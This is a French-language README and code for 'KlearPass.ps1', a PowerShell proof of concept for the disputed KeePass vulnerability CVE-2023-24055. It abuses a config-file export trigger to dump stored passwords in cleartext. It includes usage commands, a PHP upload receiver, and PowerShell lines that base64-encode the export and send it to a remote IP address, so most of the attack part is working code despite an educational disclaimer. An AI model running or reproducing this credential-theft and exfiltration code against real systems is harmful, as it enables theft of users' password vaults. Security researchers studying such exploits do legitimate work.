
CVE-2023-24055 POC écrit en PowerShell.

Ce script est fourni à des fins éducatives et de démonstration uniquement. L'auteur n'approuve ni ne tolère l'utilisation de ce script pour des activités criminelles ou malveillantes ; il ne doit être utilisé que là où une autorisation explicite a été donnée.
Utilisez ce script avec prudence, car il modifiera le fichier de configuration de KeePass et supprimera tous les déclencheurs précédemment configurés. L'utilisation de ce script peut entraîner un comportement inattendu et potentiellement casser l'application KeePass. À utiliser à vos propres risques.
Ce script illustre la vulnérabilité ** DISPUTED ** (CVE-2023-24055) de KeePass jusqu'à la version 2.53 (dans une installation par défaut), car elle permet à un attaquant disposant d'un accès en écriture au fichier de configuration XML d'obtenir les mots de passe en clair en ajoutant un déclencheur d'exportation. Notez que la position du développeur est que la base de données de mots de passe n'est pas censée être sécurisée contre un attaquant disposant de ce niveau d'accès au PC local.
Références :
Pour utiliser ce script, exécutez-le dans PowerShell et fournissez les paramètres nécessaires. Les paramètres obligatoires sont les suivants :
-filename : Le chemin complet et le nom du fichier dans lequel les mots de passe seront exportés.Les paramètres facultatifs sont :
-uploadURL : Ce commutateur indique que les données doivent être téléchargées vers l'URL spécifiée.-url : L'URL vers laquelle les données doivent être téléchargées.Exporter les mots de passe en clair :
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
Exporter les mots de passe en clair et télécharger l'exportation vers un serveur web :
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
Aide détaillée :
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");